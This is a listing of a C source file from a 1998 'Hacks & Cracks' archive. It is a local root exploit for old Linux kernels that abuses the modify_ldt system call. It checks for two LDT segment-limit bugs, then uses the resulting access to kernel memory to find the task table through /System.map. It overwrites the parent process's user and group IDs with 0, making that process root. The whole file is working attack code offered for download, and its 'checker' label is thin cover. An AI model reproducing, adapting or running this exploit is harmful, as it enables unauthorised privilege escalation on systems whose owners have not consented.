home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / linux / cscripts / modify_ldt_exploit.c < prev    next >
C/C++ Source or Header  |  1998-03-25  |  4KB  |  139 lines

  1. /* Needs /System.map to be 644 */
  2.  
  3. #include <linux/ldt.h>
  4. #include <stdio.h>
  5. #include <linux/unistd.h>
  6. #include <signal.h>
  7. /*#include <asm/sigcontext.h>*/
  8. #define __KERNEL__
  9. #include <linux/sched.h>
  10. _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
  11.  
  12. #define KERNEL_BASE 0xc0000000
  13. /* ------------------------------------------------------------------------ */
  14. static __inline__ unsigned char
  15. __farpeek (int seg, unsigned ofs)
  16. {
  17.   unsigned char res;
  18.   asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
  19.        : "=a" (res)
  20.        : "r" (seg), "r" (ofs));
  21.   return res;
  22. }
  23. /* ------------------------------------------------------------------------ */
  24. static __inline__ void
  25. __farpoke (int seg, unsigned ofs, unsigned char b)
  26. {
  27.   asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
  28.        : /* No results.  */
  29.        : "r" (seg), "r" (ofs), "r" (b));
  30. }
  31. /* ------------------------------------------------------------------------ */
  32. void
  33. memgetseg (void *dst, int seg, const void *src, int size)
  34. {
  35.   while (size-- > 0)
  36.     *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
  37. }
  38. /* ------------------------------------------------------------------------ */
  39. void
  40. memputseg (int seg, void *dst, const void *src, int size)
  41. {
  42.   while (size-- > 0)
  43.     __farpoke (seg, (unsigned)(dst++), *(char *)src++);
  44. }
  45. /* ------------------------------------------------------------------------ */
  46. int
  47. main ()
  48. {
  49.   int stat, i;
  50.   struct modify_ldt_ldt_s ldt_entry;
  51.   FILE *syms;
  52.   char line[100];
  53.   struct task_struct **task, *taskptr, thistask;
  54.   pid_t ppid;
  55.  
  56.   printf ("Bogusity checker for modify_ldt system call.\n");
  57.  
  58.   printf ("Testing for page-size limit bug...\n");
  59.   ldt_entry.entry_number = 0;
  60.   ldt_entry.base_addr = 0xbfffffff;
  61.   ldt_entry.limit = 0;
  62.   ldt_entry.seg_32bit = 1;
  63.   ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
  64.   ldt_entry.read_exec_only = 0;
  65.   ldt_entry.limit_in_pages = 1;
  66.   ldt_entry.seg_not_present = 0;
  67.   stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  68.   if (stat)
  69.     /* Continue after reporting error.  */
  70.     printf ("This bug has been fixed in your kernel.\n");
  71.   else
  72.     {
  73.       printf ("Shit happens: ");
  74.       printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
  75.     }
  76.  
  77.   printf ("Testing for expand-down limit bug...\n");
  78.   ldt_entry.base_addr = 0x00000000;
  79.   ldt_entry.limit = 1;
  80.   ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
  81.   ldt_entry.limit_in_pages = 0;
  82.   stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  83.   if (stat)
  84.     {
  85.       printf ("This bug has been fixed in your kernel.\n");
  86.       return 1;
  87.     }
  88.   else
  89.     {
  90.       printf ("Shit happens: ");
  91.       printf ("0x00000000 - 0xfffffffd is accessible.\n");
  92.     }
  93.  
  94.   syms = fopen ("/System.map", "r");
  95.   if (!syms)
  96.     {
  97.       printf ("Couldn't open `/System.map' for reading.\n");
  98.       return 1;
  99.     }
  100.   while (1)
  101.     {
  102.       line[0] = 0;
  103.       fgets (line, sizeof (line) - 1, syms);
  104.       if (strlen (line) < 10)
  105.         {
  106.           printf ("Couldn't find the _task array symbol.\n");
  107.           fclose (syms);
  108.           return 1;
  109.         }
  110.       if (strcmp (line + 9, "D _task\n") == 0) break;
  111.     }
  112.   fclose (syms);
  113.  
  114.   task = (struct task_struct **) (KERNEL_BASE + strtol (line, 0, 16));
  115.   ppid = getppid ();
  116.  
  117.   for (i = 0; i < NR_TASKS; i++)
  118.     {
  119.       memgetseg (&taskptr, 7, &task[i], sizeof (taskptr));
  120.       if (taskptr)
  121.         {
  122.           (char *)taskptr += KERNEL_BASE;
  123.           memgetseg (&thistask, 7, taskptr, sizeof (thistask));
  124.           if (thistask.pid == ppid)
  125.             {
  126.               thistask.uid = thistask.euid = 0;
  127.               thistask.gid = thistask.egid = 0;
  128.               memputseg (7, taskptr, &thistask, sizeof (thistask));
  129.               printf ("Shit happens: parent process is now root process.\n");
  130.               return 0;
  131.             }
  132.         }
  133.     }
  134.  
  135.   printf ("Strange things happens -- no parent process found.\n");
  136.   return 1;
  137. };
  138.  
  139.